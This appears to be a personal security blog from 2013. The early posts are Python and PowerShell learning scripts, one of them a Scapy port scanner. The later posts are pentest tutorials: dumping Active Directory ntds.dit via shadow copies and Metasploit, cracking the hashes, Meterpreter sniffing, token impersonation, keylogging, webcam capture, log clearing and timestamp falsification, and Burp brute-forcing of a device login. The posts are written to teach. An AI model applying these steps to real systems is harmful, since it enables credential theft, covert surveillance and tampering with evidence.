Sunday, December 22, 2013

Python Threading - An Intro from my learning

This is my first attempt at utilizing threading within a python script.  I've kept it simple so that others can use it as an example while they tackle the process of learning some of these more advanced concepts of python.  Comments and feedback are appreciated.

The first step involves importing the "treading" module.  Next, you'll need to use threading.Thread(target=<your code/function call>).  The last step will be to begin your threads with the start() method.  First get your code running without using threading, then modifying it to be used with threading.  Hope this helps someone.

#!/usr/bin/python

# Import the necessary modules
import threading
import ftplib

# FTP function - Connects and performs directory listing
def ftpconnect(target):
        ftp = ftplib.FTP(target)
        ftp.login()
        print "File list from: %s" % target
        files = ftp.dir()
        print files

# Main function - Iterates through a lists of FTP sites creating theads
def main():
sites = ["ftp.openbsd.org","ftp.ucsb.edu","ubuntu.osuosl.org"]
for i in sites:
myThread = threading.Thread(target=ftpconnect(i))
myThread.start()
print "The thread's ID is : " + str(myThread.ident)
if (__name__ == "__main__"):
main()

Thursday, December 12, 2013

Python Classes

As I struggled to better understand Python classes, I took a few notes from the research I did and created this example class. Hopefully this will provide some insight for those who are new to Python as well. Please post any questions or comments.
#Classes begin with the word 'class' followed by the class name class identity: # Statements or functions follow, referred to as methods. # Method attributes always start with 'self' # 'self' is a temporary placeholder for the object # The value of the attribute 'first' is passed into the method def createFirst(self,first): # The object's value for 'first' will be assigned based on the input self.first = first def createLast(self,last): self.last=last # The objects assigned value of 'first' is returned def displayFirstname(self): return self.first def displayFullname(self): return self.first + " " + self.last def saying(self): print "Hello %s %s " % (self.first, self.last)
Once your class is created you can start to create objects that use the methods within the class.
# Associate object with class
user=identity()
# Use methods to assign values
user.createFirst('Bill')
user.createLast('Jones')
# Retrieve properties of an object
user.displayFullname()
'Bill Jones'
# Create another object that uses all the same methods of the class
user2=identity()
# If you ever forget what methods are available:
dir(user)

Wednesday, December 11, 2013

Python & Scapy - Simple port scanner

I have been learning more about python and taking some courses with the Pentester Academy.  One of the projects is to create a simple port scanner using scapy.  The next iteration will incorporate threading.  Hopefully you find this interesting and see the value of Python and Scapy!  Comments, suggestions, observations encouraged. Enjoy!

#!/usr/bin/python

# Import necessary modules
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import itertools
import thread

# Parse and create IP range
def ip_range(input_string):
    octets = input_string.split('.')
    chunks = [map(int, octet.split('-')) for octet in octets]
    ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
    for address in itertools.product(*ranges):
        yield '.'.join(map(str, address))

# Scan each IP address with the identified port number
def scanner(ips):
    for i in ip_range(ips):
        src_port = RandShort()
        dst_port = port
        scan = sr1(IP(dst=i)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=10)
        if scan is None:
            print "This port is closed on IP: " + i
        elif(scan.haslayer(TCP)):
            if(scan.getlayer(TCP).flags==0x12):
                print "This port is open for IP: " + i
        else:
            print "Unknown state"

# Request port number from user
port = int(raw_input('Enter which port to scan --> '))

# Request IP range from user - form should follow this format '192.168.1.1-26'
ips = raw_input('Enter your range using this format x.x.x.x-x --> ')

scanner(ips)

Wednesday, September 11, 2013

Get-DomainAdminMembers

Here is a quick script I created that gathers Domain Admin members and emails this using an HTML formatted message.

<#
.SYNOPSIS
   <A brief description of the script>
.DESCRIPTION
   <The script gathers Domain Admin members and emails them to users specified in the script with an HTML formatted email.>
.PARAMETER <paramName>
   <None required>
.EXAMPLE
   <Get-DomainAdminMembers.ps1>
#>
# Import Module of Active Directory
Import-Module -Name ActiveDirectory

$today = (Get-Date).ToString()

# Html
$a = "<style>"
$a = $a + "BODY{background-color:Lavender ;}"
$a = $a + "TABLE{border-width: 1px;border-style: solid;border-color: black;border-collapse: collapse;}"
$a = $a + "TH{border-width: 1px;padding: 5px;border-style: solid;border-color: black;background-color:thistle}"
$a = $a + "TD{border-width: 1px;padding: 5px;border-style: solid;border-color: black;background-color:PaleGoldenrod}"
$a = $a + "</style>"


# Email Variables
$smtp = "smtp.server.com"
$to = "user@domain.com", "user2@domain.com", "user3@domain.com" 
$from = "Report Sender<report@domain.com>"
$subject = "Domain Admin Group Members"

# Run Command 
# Get Domain Admins
$Users = Get-ADGroupMember 'domain admins' | select name, samaccountname | ConvertTo-html -Head $a -Body "<H2>Domain Admin Members.</H2>"

$body = "Report Date $today ."
$body += "`n"
$body += $Users
$body += "`n"

# Send mail - If authentication is needed, you'll need to add those parameters
Send-MailMessage -SmtpServer $smtp -To $to -From $from -Subject $subject -Body $body -BodyAsHtml

Thursday, August 29, 2013

Reverse Lookup - Python Style

I won't claim to be a master of Python, but thought I'd share some quick scripts I've written from my readings and hacking together snips from what I've found online.  Hopefully this will inspire others to learn a scripting language.  The code is not perfect, and I will probably want to include some error checking at some point.

#!/usr/bin/python

import optparse
import socket
from socket import *

def rlookup(tgtHost):
hostname = tgtHost
ip = gethostbyname(tgtHost)
print '[+] the IP Addres for ' + hostname + ' is: ' + ip

def main():
parser = optparse.OptionParser('usage %prog -H' +\
'<target host>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
rlookup(tgtHost)

if __name__ == '__main__':
main()

Sunday, August 25, 2013

Post Defcon

As usual, Defcon was quite inspirational.  I have decided to dig deeper into Python so that I can better understand many of the great pentesting tools out there.  I also picked up a great book - Violent Python. I wrote this simple script after just reading the first 20 or so pages:

#!/usr/bin/python
# Import Modules
import hashlib
# Gather value to hash
v = raw_input("Enter your value: ")
print "Which hash algorithm do you want to use?"
# Select has algorithm
a = raw_input("md5, sha1, sha224, sha256, sha384, sha512: ")
# Generate hash
h = hashlib.new(a)
h.update(v)
# Present has to user
o = h.hexdigest()
print "Your hash value using the " + a + "value is: " + o

More to come!

Monday, May 27, 2013

P0wn Your DC

Intro

Without a doubt, Active Directory offers a number of advantages for maintaining your environment.  In addition to offering administrators centralized management, it offers bad guys a potential pot of gold - user hashes!  This information is stored in a database called NTDS.NIT.  Unfortunately or fortunately depending on your perspective, this file is locked on running domain controllers, so you can't simply copy this file.  Leveraging Volume Shadow Copy Service (VSS), we can use Microsoft's own technology to gather these valuable user hashes!  I will show you two methods for extracting the necessary files along with extracting and cracking the hashes.  This post is for educational purposes ONLY.  Never attempt this on a network you don't own and/or have strict permission!

Capturing The Hash

VSSOWN.VBS

This method uses a vbs script to create a backup of the Domain Controller (DC) where the critical files can be extracted.

  1. Download the source code for the script from here: http://ptscripts.googlecode.com/svn/trunk/windows/vssown.vbs
  2. Execute the script using the following commands:
    • cscript vssown.vbs /create
    • cscript vssown.vbs /list - Make note of the Device object
    • NewImage
    • copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit
    • copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\system32\config\system
  3. Copy these two files to your pentesting machine - Kali Linux

Metasploit -  Psexec_ntdsgrab

This method utilizes Metasploit which automates the process of creating the snapshot and copying the files to the attack machine.  
  1. Open an Metasploit shell and enter the following commands
    • > use auxillary/admin/smb/psexec_ntdsgrab
    • > set RHOST 10.211.55.3
    • > set SMBPass <p@ssw0rd>
    • > set SMBUser administrator
    • > set CREATE_NEW_VSC true - if error of Shadow copy not found
    • > run
    • NewImage4 
  2. The following files should be located in ~/.msf4/loot
    • NewImage
  3. Copy these two files (.dit & .bin) to your penetration testing machine.

Extracting The Hash

You will need two tools to extract the hashes from your captured AD files.  The first is Libesedb which allows you to read and extract the tables from the ntds.dit database file.  The second is NTDSXtract which allows you to extract the hashes from the data tables.  You will need to download the source files and compile Libesedb.

Libesedb

  1. Download and compile libesedb
  2. Using the correct path, run  esedbexport against the .dit file capture above.
  3. NewImage

 

NTDSXtract

  1. Download NTDSXtract
    • wget http://ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
    • gunzip ntdsxtract_v1_0.zip
    • cd /root/.msf4/loot/ntds.export (This is the location of the above process)
    • python /root/downloads/NTDSXtract\dsusers-py ./datatable.3 ./link_table.5 --passwordhashes /root/.msf4/loot/ntds.bin
      • Note - the ntds.bin file location is from the hash capturing process in the beginning of this article
    • The results will provide a list of users and the associated hashes:
    • NewImage

 

Cracking The Hash

  1. Now that you have the password hash for the interested user account, you can use a number of tools to potential crack the password.  I will use an online service in my example.  I will create another blog post for integrating this with tools such as John the Ripper.
  2. Go to: http://crackstation.net/
  3. Copy the hash into the website.  If a matching hash is found, you will be shown the related password.
    • de26cce0356891a4a020e7c4957afc72
    • NewImage

 

Conclusion

There are a number of factors that can influence the success of this attack. Most notably, the complexity of the password may not be referenced in the password list used to reference the hash.  WIthout that, you will not be able to see the password.  Password lists and rainbow tables are beyond the scope of this article, but if these are foreign concepts, it would be worth your while to do a bit of research on the topic.  Below are some of the links I used to create this post:

Monday, February 4, 2013

Sniff your PWNED Hosts

When you eat a cinnamon roll, don’t you save the center for last? Lick a Tootsie Pop for the  chocolate in the middle?  Attack (Pentest) a host to gain access to the internal network?

If you answered yes, then you’ll enjoy this quick post.  We’ll be using an extension of Metasploit – Sniffer.  Lets assume you’ve already compromised your target and have a Meterpreter shell.

Step 1 – Enable Extension = load sniffer

 image

Step 2 – Start sniffing = sniffer_start [interface] [packet buffer]

image

Step 3 – Monitor Statistics = sniffer_stats [interface]

image

Step 4 – Log into host remotely.  In this example we are using FTP to keep it simple.  We will look at stats again to see if it increments.

image

Notice the increase:

image

Step 5 – Download the packet captures = sniffer_dump [interface] [filename]

image

Step 6 – Open downloaded file in Wireshark and look for sensitive information.

image

Step 7 – Stop sniffer = sniffer_stop [interface]

image

This is a very simple example, but think of the possibilities.  We tend to have a warm and fuzzy feeling inside our networks since we are behind a firewall and have layers of security.  As you’ll see, there are other attacks that can pivot from your compromised hosts.  Again, comments and suggestions welcome.

Tuesday, January 29, 2013

Impersonate your “Friends”

My previous post showed you what you can do after you’ve compromised a host.  In this post we will explore how you can use impersonation tokens to do potentially evil things.  In my example I will be using a single host, but imagine what could be done if your compromised machine was joined to a domain.  Even better, what if a user  used the “Run As” option to launch Active Directory Users and Computers with their Domain Admin credentials?

In this example I will show you how you can steal a token and impersonate a user.

Again, enter Metasploit and the Meterpreter.

Step 1 – Compromise the host

image

Step 2 – load the incognito extension

image

Step 3 – Lets see what tokens are available.  As you can see, there are two users on the system we could impersonate.

image

Step 4 - But lets look at another options, and see if any processes are running we could use to impersonate.

image

As you can see, there is an FTP server running under putz.  What if this was actually ADUC? or some other sensitive process?  Lets steal the token for this process.  First we’ll see who we are on the box and then who we can be.

image

image

Now that we are Putz, lets start something as him.  Assume this account is a Domain Admin so what kind of mischief could we get into? for this example, lets just calculate something.

 image

I am currently logged on as user Neal. Do you notice anything suspicious?

image

Step 5 – Lets return to ourselves.

image

I hope you enjoyed this and please leave comments.

Saturday, January 12, 2013

After the Exploit….. Part 1


You’ve just exploited your target. Now what?  Lets walk through a few few tricks with the meterpreter.  The Stdapi includes some interesting commands:
  • download & upload
  • clearev – clear event log
  • getuid – get the current user id
  • steal_token – steal and impersonation token from a  process
  • keyscan_start, keyscan_dump, keyscan_stop – key logger
  • screenshot
  • webcab_snap – take a snapshot from webcam
Here are a few screenshots of demos of this in action

Exploit your target:

image

Download juicy info:

image
image
image

Grab A Screeshot:

image
image

Log some keys:

image
image

Throw a wrench into the recipe:

Before
image
Upload
image
The compromised recipe
image
Evidence it has been tampered with
image
Falsify the time stamps
image
image
As you can see, there are a number of interesting options after you’ve exploited your target.  I will be adding additional entries showing what else you can do with this tool.  More to come!!!!

Sunday, January 6, 2013

Burp ‘Em if got ‘Em!!

 

Burp Your Network Devices

 

Purpose

The purpose of this tutorial is to show you how to automate an attack on a network device that uses a web login. This tutorial is for educational purposes ONLY. Do not attempt this on devices you do not have EXPLICIT permission.

 

Setup

You will need a device to test the attack against. I am using a wireless camera. You will also need a copy of Burp Suite. There is a free and professional version. I will be using Backtrack 5 R3 which includes a copy of Burp Suite.

The first step will be to configure Burp Suite to act as a proxy. Choose the proxy tab and ensure that “intercept is on” under the intercept tab.

clip_image001

Next, you’ll need to configure the proxy listeners. Choose the options tab and configure the proxy listeners for port 8080 and that the “Generate CA-signed per-host certificates” is checked.

clip_image002

clip_image003

The last step is to configure your browser to use Burp Suite as a proxy. I am using Firefox so your setup may be different.

clip_image004

 

Authentication Analysis

We will use Burp Suite to capture the http requests to determine the type of authentication used by your network device. Some of the authentication types include HTTP-Basic, HTTP-Digest, and Form Based Authentication. In this example, we’ll be looking at HTTP-Basic which is easily compromised due to the simplicity of its encoding. Let’s see what type of authentication my wireless camera uses and I will illustrate how easy it is to decode the password used in the transmission.

 

Demo

With Burp Suite open, navigate to your network device using the browser configured with the proxy settings. You will need to click the forward button for each HTTP request that occurs. Attempt to login to the device. I generally look up the default administrator account online for the device manufacture and any password. Remember at this point the goal is to determine the type of authentication used.

clip_image005

Navigate to the History tab under Proxy. Walk through the steps. You should see a Request referencing Authorization. I this example, you can see the device is using HTTP-Basic Authentication.

clip_image006

Notice the encoded characters after Basic. This uses Base 64 encoding which combines the username and password. Once it is decoded, it will be represented as username:password. Notice the colon, this separates the two. Decoding is trivial. Highlight the characters and right-click and select Send to Decoder. Navigate to the decoder tab and choose decode as – Base64. Notice, the characters are decoded to show the username and password I used in the web popup.

clip_image007

clip_image008

clip_image009

Now that we know the type of authentication, we can send this to the Intruder to configure our attack.

clip_image010

Navigate to the Intruder tab. Under the Positions tab, we need to locate and highlight the Base64 string and chose “Clear” and “Add” from the right side of the screen.

clip_image011

clip_image012

Click on the Payloads tab. Under the Payload Options [Simple list] section we’ll add the passwords we want to use in our attack. You can use a password dictionary if you’d like, but for this example, we’ll use a simple set of passwords.

Under Payload Processing, we’ll specify a prefix (admin:) and Base64-encode. Do not forget the colon.

clip_image013

Under Payload Encoding, uncheck the URL-encode these characters box.

clip_image014

The last step is to launch the attack. Select Intruder and Start attack. A window will pop-up showing the login attempts. Look for a status code of 200. Select the line. You should see the Base64 characters which you can send to the decoder. They should match up with your password list. Again, decode as Base64 as done above.

clip_image015

clip_image016

clip_image017

clip_image018

 

Conclusion

I’ve just touched the surface of using the Burp Suite and HTTP authentication types. Give it a try for yourself. The best way to defend your router against these type of attacks is to use a complex password which is unlikely to be in a password dictionary, enabled https if possible, and change your password regularly. Please provide comments and any suggestions.